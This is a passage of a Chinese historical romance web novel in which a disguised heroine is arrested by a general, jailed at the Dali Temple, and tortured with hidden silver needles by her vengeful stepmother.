脑海里浮现一幅幅图画，白璧无瑕少女，妩媚冷艳花娘，威武不屈书生。或撩人、恳求、嘲讽、威胁，走马观花，经历千种人生。缭绕纷繁的画面，每章都有一张柔媚艳丽的脸庞，玉手调转，四两拨千斤，仇恨冰泮融化，隐没深潭不见。
时枫向来讨厌麻烦，从不在女人身上耽搁时间。此时此刻，他竟一点都不觉得厌烦，反而滋生出一丝莫名的兴奋。他甚至愿意搬条板凳坐下来，津津有味欣赏她上演的一出出好戏。
眼下这场戏，说的是狡兔舔舔雪白长毛，摇身一变，化作普渡众生的堕仙，甘愿以身试法。而他，则被迫扮演欺压良善的“恶将军”。
很好，既然她这么爱演，他奉陪到底。
男人负着手，冷冷道：“你算个什么东西，用得着本将军亲自动手？自会有人收你，等着大牢里哭诉罢。”
言毕，伸手一挥，人群中冲出两名银甲士兵，手握兵器，缓缓趋步向前，形势万分紧急。
书生退后一步，双手擎起香炉，高举头顶，喝道：“岂有此理，你冥顽不灵，食古不化，众目睽睽之下，竟敢肆意妄为，违反纲常法纪。某绝不肯屈服于你的霸权淫威！”
“此至今日，我以我血荐轩辕。”
言讫，用力狠命一摔，香炉掷地有声，炉灰倾撒，霎时迷了时枫的眼睛。
顷刻间，漫天炉灰弥漫，好似茫茫雾霭，形成一道雾墙屏障。恰时起了一阵妖风，风起云涌，呛得围观群众及银甲士兵喷嚏咳嗽不断。
周遭灰飞烟灭，百姓惊慌失措，都道是“天神震怒”，拼命哭喊“灾祸降临”。内层群众欲冲出重围，外圈百姓不知其所以然。黑压压百十号人，互相拥簇挤兑，人挤人，人踏人，场面瞬间失控。
混乱声惊动巡城兵马
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司，刹那间哨声四起，马蹄踏踏，从东南西北不同方向，向迷雾中心袭来。
借着迷烟缭绕，苏绾悄悄低身钻进人群。突然身后一凉，粗壮手臂搂紧腰肢，轻轻一拉，将她揽入怀抱。熟悉的雪松气息，绕过烟熏火燎，钻入鼻翼，直冲脑壳。
该死，这家伙属狗的，瞎眼还能看见。
“放开我。”白衣书生拼命挣扎呼救，忘了口技掩饰，柔软女声淹没此起彼伏的人潮。
男人怔愣睇着那双星眸，恨不得穿透她的身体，将她千刀万剐，毁之一炬。但他不能任由她喊叫，招来巡逻兵马司，他再想去衙门捞她，已然不可能。
“不许叫。”
男人本能地贴近佳人粉面，狠狠亲吻朱唇，期望堵住她的嘴巴。
苏绾来不及思索，对方大山压过来，已无处可躲。一刹那间，脑子里只剩空白。
他的唇际冰冰凉凉，夹着不可遏制的欲望，还有几分无奈。身上那股子雪压青松的气息，直直刺激神经，几乎让她窒息。
阖合眼帘，流绪微梦，血色弥漫，硝烟滚滚，松油焦糊气味四散，耳际萦绕着噩梦般的低语，振聋发聩。
“绾绾，你是为我而生的。这一刻，我们将融于一体，永世不得分离。”
“不要啊——”
苏绾用尽全身力气，仍无法挣脱束缚，内心恐惧化作一双鬼手，捂住口鼻，遮挡呼吸视听。
嘴唇相碰那一刻，时枫的脑子是懵的。
她的唇瓣，怎么这样柔软？连口舌津液，也带着一丝香甜。可没等他静静享受美餐，怀里的佳人突然浑身颤抖，眼神昏暗无光，使劲捶打他。
她就这么讨厌他？
“受着。”男人没好气似的，停了一息，再度报复性地碾上红唇。
时间停下匆匆脚步，万物静止，流水飘动云。
“咳……我说……”忽然一声咳嗽，打断那个万年长吻。
时枫充满怨恨的目光，落在一身青色衣褂，来者正是大理寺寺卿邵云礼，时枫昔日的战友。
邵云礼强忍笑容，挂着一脸虚伪的歉意，“我来给你拿人了，人在哪里？”
时枫松开双手，不知所措地摩挲束腕绿松石，冷声道：“此人涉嫌诈骗，拘入大理寺狱，留待查审。”
邵云礼低头一看，未冠少年，明眸皓齿，面如冠玉，嘴角抑制不住笑意，翘指违心称赞道：“小小年纪，竟引得世子爷垂青，少年可期！”
一句话说得书生满面绯红，他嫌恶地以袖口擦拭嘴巴。回眸之际，又撞见黑脸将军凶神恶煞的眸光，充满责怪和痛恨。
时枫狠狠瞪邵云礼一眼，转身睇苏绾，沉默一阵，说道：“虽说是审问，但我从不做诏狱刑罚逼供那一套，你也不必拼死抵抗。老老实实说真话，没人会为难你。”
他手一挥，命令手下带人。
书生已无路可退，他一甩衣袖，哼的一声，高高扬起额头，随士兵一起离去。
烟消云散，水落石出。待巡城守卫匆匆赶到时，不见肇事之人影踪，唯有百十余围观群众，面面相觑。
至此，坊间流传一道奇闻异事：京卫指挥使喜好男色，当街强掳算命先生。
15. 审讯
午后阳光委云，洒下一团团温暖光束，照得融融双颊红晕迭起。苏绾抬起宽大云袖障袂，轻轻沾了沾螓首汗珠。
抬头仰望悬梁金匾，上书先皇御笔：大理寺。三个遒劲苍颉大字，在烈日余晖下，闪耀刺眼的光芒。
“三法司”包括刑部、都察院、大理寺，座落城西。因皇帝直接掌管锦衣卫，监管缉捕、刑狱，下设诏狱之权，三司不得过问，故专门将三法司移出皇城。
无论前世还是今生，苏绾从未踏足过三法司衙门，遑论以戴罪之身锒铛入狱。但她并未感觉丝毫畏惧，她坚信，温如初必会第一时间赶来救她。
倘若她成为罪妇，如何拱手送与阁老呢？
苏绾回眸乜斜，阳光浸润下，亲手逮捕她的“不世出卫将军”，正一脸阴沉，脚步虎虎生风。
旁边跟着脚步同样稳健的大理寺卿邵云礼，剪着一条手臂，沉声道：“安排在西楼独间小室，非常规监狱，保证无人打扰你们。”末了，递上一个意味深长的笑意。
时枫回了他一个白眼，“此人狡猾多端，贪婪成性，数次设下陷阱敲诈勒索，当小心谨慎对待。”
邵云礼摸摸鼻翼，嘴角上扬，“哦，原来是惯犯。那也不必费尽周折审问，我听说，你要将他凌迟处死？我手下新晋一名刽子手，外号‘鬼见愁‘，啧，手段那叫一个高明，三千三百一十八刀，刀刀见血，却不死人，切下来的肉比片烤鸭的还整齐……”
“谁说我要判他凌迟？”时枫停住脚步，牛眼瞪着邵云礼，“还未过审就妄自判刑，这不是我一贯行事作风。”
邵云礼作恍然大悟状，“哦，你没说过啊，那是我耳背，听岔了。”
他搓着下巴揶揄道：“我道时将军一贯行事稳妥谨慎，哪可能这般火急火燎，不惜动用一切关系网，闹市街区抓人现行？必是经过一番千锤百炼严谨考察，我没说错吧？”
邵云礼与时枫并肩沙场磨炼多年，摸爬滚打吃睡一处，无拘无束感情极好。后来邵云礼由武转文，调入京中大理寺任职，四五年未见，彼此仍未有一点生疏隔阂。
“我叫你来，是要你以大理寺卿之职，行缉拿审判之责，不是让你钻我脑子里吵我烦我。”时枫有些恼了，眼珠子瞪老大。
邵云礼明知故问道：“那一会是你审，还是我审？”
“废话真多。”
时枫不再理睬他，转身负手急急前行，大摇大摆跨进大理寺门槛，撇下身后一缕萦帘翠影。
三法司当中，大理寺掌刑狱案件审理，审谳平反刑狱之政令，先帝训曰：“务必推情定法、刑必当罪，使狱以无冤。”
按理说，苏绾所犯案件之微末，根本够不到三法司审理资格。时枫专门请出大理寺卿审她这小小诈骗犯，颇有点“杀鸡焉用牛刀”之感。是以也没让她进大牢，只是单独择了一间屋子关着，等待提审。
苏绾跟随狱卒，穿过昏暗长廊，来到一间砖砌屋子。室内逼仄阴暗，苔藓附着潮湿墙面，光线映衬下隐隐发黑。屋内散发一股霉味，苏绾端起云袖遮掩口鼻。
男人仔细打量房间角落，越看脸越黑，两条浓眉挤在一团不肯分开，满脸嫌恶之色，“没别的了？”
邵云礼鼻子“哼”了一声，“抱歉啊，时将军既要审人，又不许人旁听，那必是久无人用的牢舍才行。蔽寺房舍资源紧张，没多余的。”
转而对着书生讪笑道：“蜗舍荆扉，委屈公子了。”
书生豁然一笑，“某本阶下囚，何嫌囹圄陋？”
邵云礼视线逡巡二人，脸上表情丰富多彩，人家正主都不在意，你操这么多闲心干嘛？
哪知时枫嗤笑一声，“不过一个嫌疑犯，有什么资格挑三拣四。”
这人反复横跳，书生还了时枫一个大大的白眼。三人沉默半日，不像拘禁囚犯，反倒像是宾客借住主人家。
邵云礼伸手道：“你们二位先谈，本官退避。”
言毕，冲时枫眨了眨眼睛，也不管时枫愿不愿意，转身出门离去，临行前还不忘贴心地撤掉所有守卫。
嘈杂暗室骤然沉静，阵阵清风自槛栏小窗流入，吹动纶巾束带摇曳，末梢拂了时枫的脸颊，有些痒痒的。
男人琢磨着说点什么，杵立半日，硬是挤不出一个字。奇了怪了，他性格虽冷漠乖戾，但也从不惧口舌之争。怎么对着疯婆娘，他就变成哑巴了呢？难道是因为在天桥底下亲了她，中了哑毒？
思及那个吻，心弦又狂躁拨弄，摇旌擂鼓不停。面对□□的她，他内心稳如老狗坐怀不乱。区区一个吻，这番狂妄悸动所为何来？
难道他喜欢男人？
他回首瞥了书生一眼，只见白衣少年挺身玉立，面如冠玉，潇洒倜傥，举手投足端地一副翩翩公子范，着实有几分姿色。
要命。
书生见他牛眼瞪自己，亦娥眉倒竖，挺起胸膛狠狠瞪回去，“喂，不是审我么？那你倒是问我话啊。”
时枫睇着书生那副桀骜不驯的模样，刹那间有几分恍惚，越发觉得他能言善辩，机灵可爱。脑子里产生诡异想法，想要提掣他衣领，狠狠摔到墙壁上，堵住他的嘴。
如此一想，立刻恼了，眼眸一沉，负手冷声道：“好好说话！不男不女，令人作呕。”
“你……”噎得苏绾一口气没上来差点憋死。
这是只顺毛驴，不顺他心意的人，连呼吸都是错的。同时枫的几次会面，苏绾都以失败告终。对方认定她居心叵测，死咬住她不松口。
冤家宜解不宜结。
只有解开彼此心结，才能拿回娘亲的遗物。大不了她伏低做小，对他一呼百应。
苏绾低下头，轻轻道：“你问吧，奴家回答你就是了。”
终于逼迫她露出柔美女声，顺毛驴霎时感觉浑身畅快舒服多了。根节在于此，他并没有断袖之癖。
男人满意地咋了咋嘴，背着手，斜睨苏绾，“原来会讲人话。很好，我问你，春月坊你费尽心机弄取银盒，当真是为拿母亲遗物？你可知银盒内盛何物？”
苏绾点点头，又摇摇头。
“我娘生前节俭，用度极少。我猜，银盒里多半是她半生积攒的一点首饰。将军可将首饰取走自用，只将银盒还于我，奴家留个念想。”
她的眼眸清澈如水，不像是扯谎，倒让时枫有些为难。假如她继续耍心机的话，绝逃不出他的锐利鹰眼。说什么买椟还珠的屁话，太小看他。
然而，三哥事件之后，他曾专门传唤审讯宝蟾和老鸨，问及银盒主人来历，两人对此一问三不知。
银盒的上一任主人就是春月坊的当家老鸨，她遵从当初的诺言，虽没将银盒贪为己有，但也未曾当回事，扔进库里忘得一干二净。而竞拍一案中，宝蟾只不过是走运，碰巧银盒分她头上而已。
至于银盒真正的主人九香，则是春月坊从人牙子手里买来的贱奴，其人性格低调，闭口三缄籍贯背景。九香来京不过一月，即被苏君识包养外室，从此不再对外接客。
女书线索到此为止，中断了。
男人撇了撇嘴，又问：“你三番两次，企图迷惑本将军，居心何在？”
苏绾见话已入港，柔声细语趁机和解：“时将军，前番都是我不对，恣意妄为，煞了将军威风，奴家知错了。”她端起云袖拜道：“我并无陷害将军之心，所有种种，皆是误会。任凭将军责骂惩治，奴家绝无怨言。”
她主动放下姿态，让时枫不由得一愣，猜测对方是何居心。憋了半天，男人冷冷道：“你何错之有？”
她还想问他呢，到底哪里得罪他，疯狗一样追着她不放。苏绾腹诽不断，面上仍带着笑意，“哪里都错了。错在有眼不识泰山，错在不自量力，错在不知好歹。奴家就没做对一件事。”
她态度谦卑，一双星眸含露，楚楚可怜的模样，捣乱男人坚硬心肠，化作一滩春水向东流。
男人垂下眼眸，“之前你可不是这么说的。”
苏绾见对方始终不肯松口，干脆心一横，上前一步，距离时枫咫尺之遥，双眸含泪，“自见将军那日起，奴家仰慕将军雄才，便起了歪心思，想方设法吸引将军注意。一步错，步步错，造成今日之尴尬局面。奴家理应恪守三从四德，再不敢僭越觊觎。”
自袖中取出一条墨金双色丝绦络子，打作同心结，双手
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奉上。
“奴家谨此一表诚意，借花献佛，愿与将军化干戈为玉帛，从此一别两宽，不再打扰。”
其实前日芸娘跟她借花样子，讲好就要同心结花式，欲送老爷讨欢心——苏绾早前打过一条同心结，欲送给时枫聊表歉意，却没得机会送出去。早上她翻出压箱底的花样子，结果出门匆忙忘记给了，这会子放在袖子，正好派上用场。
她说，她仰慕他已久。
时枫怔愣地从她手心拾起络子，捏在手里摩挲，心中百感交集，脑子里什么东西一闪而过。
“这条络子我早就打好了，一直没机会赠与将军。本打算镶嵌你的那颗墨玉，可惜不在我手里。你先收下这份情意，回头我拿到玉，再给你补上，可好？”
星眸凝望同心结，祈愿对方能领情。她竟抛诸脑后，同心结乃定情信物，随身携带本就是一件引人怀疑的事情。
他的那颗墨玉。
回忆堤坝溃决，纳征之日她盗走墨玉，以一块绿松石作替换，迫使他被认作奸夫，为她出面澄清斡旋。他照做了。转身却见她虔诚跪伏别人膝下，双目含情脉脉，耳边低吟浅唱：“同心结尽千千缕，朝朝暮暮长相思。”
这女人以贩卖同心结为生。
真真正正的蛇蝎美人。
男人脸色骤然阴沉，大手一挥，将同心结狠狠摔地上，怒道：“娼妇，休再诓我。”
铁手伸向脖颈，揪起道袍衣领，“凭一条烂绳子，就想两清？做你的春秋大梦。我现在通知你，春月坊你欠本将军三千零二十两白银，须连本带利赔偿，少一文都不行！”
言毕，铁手一推，书生即如折木般栽歪倒地。男人转身甩袖离去，恶狠狠留下一句：“不缴清赔款，你就在牢里蹲一辈子。”
铁门“咣当”一声阖合，回音阵阵绝响。
苏绾囫囵爬起身，呆呆坐在地上，百思不得其解。她什么时候欠下这样一笔巨款？若说她扮作段公子，使手段诱导冰山客赢得竞拍，那两千银子又没进她口袋。另外二十两，不是他主动送给她的茶资么？还有一千两哪里来的？她不是以“谋财害命”的罪名被逮捕入狱的吗？怎么突然间变成“欠债不还”？
要说扶乩算卦十来日，早已赚得盆满钵满。但那些银子是用来预备逃婚的，都赔给他的话，叫她逃亡路上喝西北风啊。
要钱没有，要命一条。
书生两手抓住铁栅栏，透过缝隙骂道：“敲诈勒索、贪赃枉法之流，小心遭天谴。”
时枫一路凉风瑟瑟疾行，胸腔蓄积一团烈火，恨不得烧他个玉石俱焚。
才出监牢大门，正撞见门外驻足等候的邵云礼，见他怒气冲冲趸出，颇有些惊诧。
“条件没谈拢？”邵云礼问道。
时枫掀眸瞟了一眼，没好气道：“谈什么条件？”
“哦，你不是看上人家，抓来满足私欲的么？”
时枫闻言盛怒，“你当她是香饽饽，我会看上她？不过蛇虫鼠蚁之流，妄想一步登天，痴人说梦。”
邵云礼揶揄道：“未必是人家痴心妄想，分明是你不知好歹。整日黑着一张脸，好人也被你吓退了。”
“她要是好人，我跪拜三司稽首谢罪。”
邵云礼嘴角一斜，“你先跪求户部原谅吧，劫了温侍郎的未婚妻，你好大的胆子。到时候人家追到你跟前要人，我看你能捱到几时。你小子可别想着拖我下水，明日我就告病休沐，这事不解决我绝不回来。”
时枫不耐烦挥挥手，“我自有分寸，用不着你闲操心。她犯了诈骗罪，法理有据可循，就算六部一齐过问，我时枫也不怕他。”
邵云礼眼珠转了转，不怀好意地笑道：“既是罪有应得，不如动刑审问，拿到亲笔认罪书，更好跟六部交代。我给你提个建议，女犯最怕拶刑，夹得十指鲜血淋淋，拈不起绣花针，从此告别女红……”
话未说完，突然腹部受一拳重击，打得邵云礼屈身咳嗽不停。抬眼望去，施暴之人头也不回，化作一抹暗云扬长而去。
邵云礼恨道：“咳咳……你小子不要得意忘形，早晚有一天会栽倒石榴裙下，自有人来收拾你。”
16. 囚禁
黎明拂晓，天边泛起鱼肚白。亭曈晓光如清泉透过铁窗栅栏，穿入逼仄小室，留下一缕新亮。
苏绾抱膝蜷缩角落，望着地上茅草发愣。身旁摆放满满的食盘，蝇蚁肆虐。
昨晚梦见王老板一家惨死马蹄之下，身边无数人影萦绕，披头散发，浑身血污。耳畔回响狞笑，混合女人刺耳尖叫、孩童啼哭、老人叹息。
蓦然感到太阳穴抽搐地疼，伸手去够，看见双手沾满血迹，像一块块干枯泥巴，粘连成片，怎么甩都甩不掉。
苏绾吓得惊恐尖叫，两手在地面拼命摩擦，只蹭得皮开肉绽，露出白骨森森。剩一缕魂魄飘荡，再次猛然猝醒。
原来又是一场梦。
苏绾痛苦揉搓眉心，梦魇接连不断，耗尽她所有精力。脑子里一片混沌，万千思绪混乱交杂，理不出头绪。
被关进牢房三日有余，中间不见任何人来访。莫说温如初没现身，就连那“黑心债主”也不知去向。
纳征拉拢人心不成，春月坊痛失娘亲遗物，天桥占卜获谋财害命罪名，好不容易挣得几个辛苦钱，如今也要被迫上缴还债。
他哪里是救星，分明是灾星。
前世她被熊熊烈火吞没，剩一缕香魂出窍，缥缈孤鸿影。冥冥之中，耳边萦绕儿时娘亲吟唱的童谣：
“救世将军降临，
杀破黎明搅乱天阵，
世界即如指掌大，
翻云覆雨。”
重生之后，她方才领悟，那童谣讲述的是一则预言：得“救世将军”臂膂之力，方可推翻末世，拯救苍生出水火。
她以为，这位“救世将军”即是时枫。
如今看来，将军仍是将军，苍生亦有望，只是脱离苦海之人，不是她。
苏绾垂下头，低低叹息。
大理寺衙署位于城西僻静处，与刑部、都察院毗邻同一条街，方便“三法司会审”。凡是刑部、都察院审讯定罪的犯人，大理寺都要根据律例重新再次审讯，以免出现冤假错案。
因苏绾属特例，原则上来说，根本不归大理寺管辖。又单独关押一处，同常规囚犯分隔开。导致苏绾被捕已三日，上头竟无人下来查问结果。
恰是时，大理寺卿告病在家，衙署群龙无首。剩下少卿、寺丞一干人等，各忙各的职责，更加无暇过问苏绾一事。
时枫趁此机会霸占邵云礼的办公书房，卷着铺盖住了进去。每日专门听取狱丞报告苏绾一天活动，兼管日常起居事宜。
“今日如何？”
狱丞俯身道：“今早苏姑娘再次噩梦惊醒，未曾用过早膳，递送的换洗衣裳亦未动过。”
时枫眉头一皱，这女人不仅疯癫，还很倔强，整整三天，粒米不沾，只喝了一点点水。
“你没提我吩咐的？”
狱丞怵道：“小的提了，这不提还好，一言及将军，苏姑娘即掀了盘子，吵嚷‘用你管‘，‘我没钱‘等字眼。小的按捺不住，差点被她一头撞墙。”
混账东西，这是要他难堪。
时枫眼眸一沉，“你告诉她，这是最后一餐，吃完上路，做个饱死鬼，来世托生好人家，省却这般囚禁折磨之苦。”
“倘若还不知好歹，绑了她手脚，扯脖灌米粥。”
狱丞瞪大眼睛望着时枫，好似白日见鬼。世人皆知，异姓王绥靖王世子时枫，绰号“冷面阎罗”，手段狠戾性格乖张，孩童见了一准吓尿裤子。
然而下一刻，“冷面阎罗”却像吃了败仗，露出无奈神情，挥手打发狱丞。
那女人信口雌黄，妄想用一条破绳子拴住他。这套下三滥招数，唬得住温如初，哄不了他的火眼金睛。仗着与温如初有婚约，竟玩起了“绝食抗议”。难不成叫他拉下脸主动投降认输，亲自将她送回去？
他不怕得罪温如初，所谓兵来将挡、水来土掩。然三日来，温如初始终未曾露面，倒让他浑身力气没处发泄。人生廿二载，再没比这更窝囊的时刻，堵在死胡同，进退两难，被一只玉面狐狸稳稳踩中七寸。时枫恨得咬牙切齿，指间绿松石几欲捏碎。
忽然狱卒来报：“苏家主母苏夫人求见将军。”
前日纳征之时，时枫与苏夫人有过怨怼，若不是看在温如初的面子，彼此早就撕破脸皮针锋相对。
这节骨眼上，她来干什么？
不多时，狱卒引领一位雍容华贵妇人，手提紫檀食盒，身后跟随两位嬷嬷，一行人缓缓来到书房。
苏夫人纳福道：“民妇苏殷氏，拜见时将军。”
时枫回拜道：“老夫人所谓何来？”
苏夫人闻言陡然变色，双目含泪道：“将军明知故问，是给老身留颜面。我此行来，还不是为那不孝女苏绾。”
她声泪俱下，历数苏绾当街占卜行骗种种罪行，实属罪有应得。然血浓于水，苏绾犯错，苏家教子无方亦有过。她表示苏家愿一同承担惩罚，弥补所有过失。
“我不为求情而来，因罪女吃不惯牢饭，准备几样她爱吃的小菜，及换洗衣裳，特来送此。”
一席话说得时枫心花怒放，那疯婆娘可不就是罪有应得。眼前他被愤怒冲昏头脑，无暇分辨那眼泪的真假。毕竟是苏家骨血，苏家总不至于祸害她。
“老夫人舐犊情深，令晚生钦佩。”
原来那日天桥底下发生混乱之时，芸娘藏在人群瞧了个大概，她只道是苏绾占卜行骗，惹怒京卫指挥使，欲拿人问罪。
心中怀着十分恐惧，芸娘一路跌跌撞撞，好不容易奔回家门，却又一头栽倒刘嬷嬷手里。
因前番被芸娘羞辱，刘嬷嬷怀恨在心，老眼上下打量芸娘，阴阳怪气道：“大日头里，二奶奶急急慌慌，毫无仪态可言，忒有失体统。老爷可没教我们下人这般毛毛躁躁。”
芸娘顾不得跟她掰扯，拱手求饶：“对对对，您老说得是，我知错了。可曾看见阿绾的小厮文竹？我有急事找他。”
刘嬷嬷本预备借着“有失体统”的由头，同对方争执理论一番。然芸娘竟一改常态，客客气气回复她，让她一记老拳打中棉花团。
事出反常必有妖。
刘嬷嬷脸一变，笑道：“原来如此。二奶奶要找文竹？前头老奴瞧见他在后花园拾掇杂草来着，这会子应该还在那里。要不然就在马厩捯饬饲料，总不过这两处地方。”
她故意说了一条迂回曲折路线，后花园距离马厩，横贯整座宅邸，走路颇耽搁时间。
“嬷嬷辛苦。”
芸娘哪知晓她这龌龊心思，还当她好心，对刘嬷嬷千恩万谢，低头急急离去。
刘嬷嬷飞奔至苏夫人处，将芸娘反常情况禀告，得了一锭银子作为奖赏，欢欢喜喜奔去赌坊杀到天亮，直输得一干二净为止。
听完刘嬷嬷的通风报信，苏夫人不慌不忙，稳坐太师椅，叫了一杯“狮峰龙井”，捧在手里细细品味——她向来不爱喝家乡龙井，总觉得茶水过分苦涩。
自打小妾入门起，苏夫人的日子过得颇不顺心。她本意是将小妾接回家，慢慢折磨致死，然而却被半路杀出的庶女拦挡，煞了她的威风。
而那贱妾，也不知踩了哪门子狗屎运，胡诌八扯忽悠苏君识上本，结果竟
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还遂了她的愿。而苏君识借着这个由头，从书房搬出铺盖，明目张胆睡进小妾房里。
士可杀不可辱。
苏夫人暗地发誓，定要使一招“一石二鸟”，灭了二人嚣张气焰，教她们尝尝正头夫人的厉害。
一盏茶未凉，苏夫人打发家丁从侧门围堵文竹，五花大绑提来问罪。
文竹倒也回答得干脆利落，“二小姐被京卫指挥使拿去问罪，小的要去户部衙署找姑爷捞人。”
“你说什么？”苏夫人拍案惊奇，震动茶碗晃荡，茶水迸溅，洒一桌子。
尽管文竹一向老实本分，并非谎话连篇之人，苏夫人仍难以置信，即刻命人急急拿下心神恍惚的芸娘及慌乱无措的无霜。
“夫人息怒，过去千种万种都是我不好，眼前救阿绾要紧。”芸娘苦苦哀求。
苏夫人丹凤眼一挑，阴阳怪气道：“我早瞧着你俩沆瀣一气，不安好心眼，惹出天大的麻烦，才想起来求我。没门。”
芸娘见求饶无果，改成破口大骂：“你个老不死的，虎毒不食子，见死不救，小心遭雷劈。”
苏夫人冷笑一声，“她又不是我生的，死不死活不活，与我何干？她能有今日，全是她自找的。”
言毕，召婆子将芸娘和无霜关入柴房，贴上封条，一把铜锁牢牢锁住不得出入，任凭芸娘拼命踢打柴扉，空抖落一地黄土。
彼时日上三竿，苏君识上朝未还。苏夫人一系列动作，快、准、狠，神不知鬼不觉，平静犹如一潭深水，不见一丝涟漪。
苏夫人端起那杯凉透的龙井茶底，有滋有味地品茗。原来苦处尽头，隐藏一股清冽甘甜。
天赐良机。
“今日之事，谁敢走漏半点风声，男丁杖毙，女卖妓院。”
不久苏君识下朝归家，遍寻不到芸娘踪迹，疑惑道：“芸娘哪里去了？”
苏夫人赔笑道：“近几日来，她一直在外奔波，为灵童祈福，导致劳累过度，感染大风病。我怕传染别人，让她在柴房躲避。召了阿绾的婢女无霜服侍左右，老爷不必牵挂。”
苏君识虽有疑窦，然终究害怕传染恶疾，遂不再过问。苏夫人又以祛除瘟疫为由，将苏君识铺盖搬回自己房内，还派人煞有介事地撒石灰，彻底清理芸娘房间。
随后苏夫人递送请帖至温府，言及婚礼相关有的没的琐事，信末特意提及苏绾，称其一切安好。此举旨在拖延时间，阻挠温如初去牢狱救人。
过了一日，苏夫人遣人去天桥底下打听书生下落，被询问之人捂嘴偷笑，直说算命先生被大理寺卿带走，在场无人知晓书生真实身份。
待一切准备就绪，时间已过去三日。
苏夫人吩咐厨房单独制备酒菜，翻出苏绾的几件旧衣裙，挑选俩身强体壮的婆子，坐着轿子来到大理寺衙署。
对于时枫的出现，苏夫人颇有些意外。
小小占卜诈骗案，竟能请动京卫指挥使亲自坐镇，监督审讯，而正主大理寺卿则告病在家。纳征之日，苏沅芷指证的奸夫，不正是他么。
一系列的反常举动，让她不由得生出疑窦。然而她也暗暗得意，对方行迹越可疑，手里的筹码越重，胜算就越大。
苏夫人起身拜别时枫，同婆子一路来到苏绾关押处。彼时苏绾正倚墙坐在铁窗前，手里摩挲黑金同心结，闻见苏夫人进门，惊得失手坠落络子。
“母亲怎么来了？”
苏夫人冷笑一声，“你干出这等好事，整个京城都知晓。我若不来给你收拾烂摊子，难道教你一直晾在这里丢人现眼，折我苏家颜面？”
17. 银针
温暖春风吹进逼仄囚室，吹走明面的阴暗潮湿，风底却暗暗夹杂着一丝阴谋的味道。
三日以来，温如初并未如期出现。
半梦半醒之际，苏绾曾一度怀疑，许是温如初与时枫相约“断肠崖”，来一场迎风决斗，赌注就是她。温如初不幸败于时枫刀下，输得一塌糊涂，从此铁栅陪伴她度过余生。
究竟哪里出了差错？
待得苏夫人陡然现身之时，万物云消雾散，豁然开朗。必是苏夫人想方设法阻止芸娘报信，导致温如初根本不知道这一切。
而苏夫人此行，是来要她命的。
苏绾俯身拾起络子，不动声色送入袖中，“母亲百忙之中，还惦记女儿安危，女儿不胜感激。”
苏夫人鼻子里哼了一声，“少跟我装腔作势，你心里怎么想，我还不知道？”
婆子搬来座椅，苏夫人一屁股坐下，斜眼睥着苏绾，“事已至此，我也不必同你掰扯，咱们打开天窗说亮话。你犯得什么错，自己心里明白。我只有一句话，别指望我会救你。”
苏绾嘴角一撇，“女儿自知惹出这样天大的麻烦，成为京城皆知的笑柄。对父母不孝，对国家不忠，对温侍郎亦无法交待。然女儿未曾想过逃脱法理制裁，也不指望谁来救赎。上自有裁断，母亲何须躬身提醒。”
“难不成，母亲今日前来，特来看女儿的笑话？那可多此一举。我所犯何事？不过沧海一粟。顶多判我个哄抬物价之嫌。说我谋财害命，你去市集口打听一下，可有捉住实质证据？女儿在这夸下海口，最多四五日，到时候，女儿定会名正言顺，一身清白被送回家。”
苏绾一口气说一大通，脸色苍白，气喘吁吁。三日粒米未沾，有些体力不支，扶着墙壁勉强站立，好似一片白色翎羽，海浪飘摇欲堕。
苏夫人一声嗤笑，“送你回家？做梦吧。你何德何能，不就倚靠温如初那毛头小子？他还蒙在鼓里呢，等到他发现不对劲，你早死在大牢里了。”
听其语气来者不善，苏绾警觉道：“什么意思？大理寺戒备森严，重重关卡。母亲欲以身犯险，强人所难，这牢笼里，恐怕又多一个阶下囚。”
苏夫人伸手，摆出一副揪心模样，叹道：“我的儿，瞅瞅你都胡说八道些啥。父母之爱子，则为之计长远。我哪可能做伤天害理之事？”
苏夫人向婆子使眼色，俩婆子一个打开紫檀食盒，另一个翻弄包裹。
几碟精致小菜，配有美酒一壶。其中一道菜，最为精致，出自山东孔府，名为“酿豆莛”。把去掉头尾的豆芽穿空，里边酿上鸡茸、火腿、红白相映，色香味绝佳。
香味四溢，钻入鼻翼，完全勾不起食欲。苏绾警惕注视一举一动，却也看不出端倪。身体紧紧贴着土墙，眼眸充满惶惶不安。
婆子展开三丈红绫，绑在桌案及床铺角落，将狭窄陋室拦隔一方天地，周围密不透风。
苏绾再也稳不住阵脚，大声叫道：“你们想干什么？”
苏夫人拾起象牙箸，夹一根银丝豆芽，阴笑道：“我的儿，这几日苦了你，没吃没喝，也没个换洗。为娘体贴你，好酒好菜伺候，还带了你平常爱穿的衣裳。快快褪下那层脏皮，好好姑娘家，偏要扮男人，有伤风化。”
“服侍二小姐更衣。”苏夫人丹凤眼一沉。
苏夫人一声令下，二婆子上前动手，不顾苏绾挣扎，一个捂口鼻，一个摁手脚。片刻剥精光，露出白皙胴体，黑暗映衬，显得格外耀眼。
苏绾早已虚脱，仅靠一口精气神强撑，哪里顶得住身强体壮的婆子。星眸惊恐张望，口不能言，身不能动，被死死压制。
苏夫人拈起箸中银丝豆芽，细长指甲轻轻一挑，剔去外层芽皮，赫然露出内里一截银针，一寸来长，纤细精巧如发丝。
“这道‘酿豆莛‘，乃为娘特意为你制备，塞馅颇费一番功夫，足足花了两个时辰。莫要辜负为娘一片心意，一根一根全部吃进肚子，才称得上孝顺。”
苏夫人嘴角上扬，兴奋难耐，话语带着颤动，好似上架公鸡，拍打羽翼欲展翅高飞。
苏绾惊恐万状，眼睛睁大，嘴里发出“呜呜”声，伴着窗户漏进的风，像是细细的叹息。
银针细长末端在光滑肌肤游走，微微刺痛。那点痛如水纹一圈一圈扩散，蔓延至全身每处角落。
脖颈，后脊，腰穴，腹部，胸膛，一共七针，精准入穴，深深埋进体内，表面不留任何痕迹。
针入肌肤那一刻，苏绾并无太多痛觉，甚至有点点痒。螓首无力歪在一旁，望着土墙小窗发呆。
忽然想笑，好不容易重活一世，还没崩落几点水花，又一次跌落无底深渊。
说不上有多愤怒，更多的是懊悔。
命运之神，何时青睐她。
“小杂种，这七针，是你应得的报应。跟我叫阵，凭你也配！你等着肠穿肚烂而死，看你的温大官人还要不要你。”苏夫人低声咒骂道。
苏绾栽歪一旁，双目紧阖，眉头深锁，晕厥不省人事。像一朵枯萎的白莲，花瓣团缩凋敝。
“二小姐不会没了吧？”一婆子惊呼道。
“噫，哪那么容易？皇上的脑袋被薛御医扎成刺猬，还不是活蹦乱跳。”另一婆子明显见过世面。
苏夫人啐了一口，“不慌。祸害遗千年，几根绣花针，一时要不了她狗命，只会常年在体内穿行，最终深入肺腑，戳进心肝，叫她痛苦不堪而亡。”
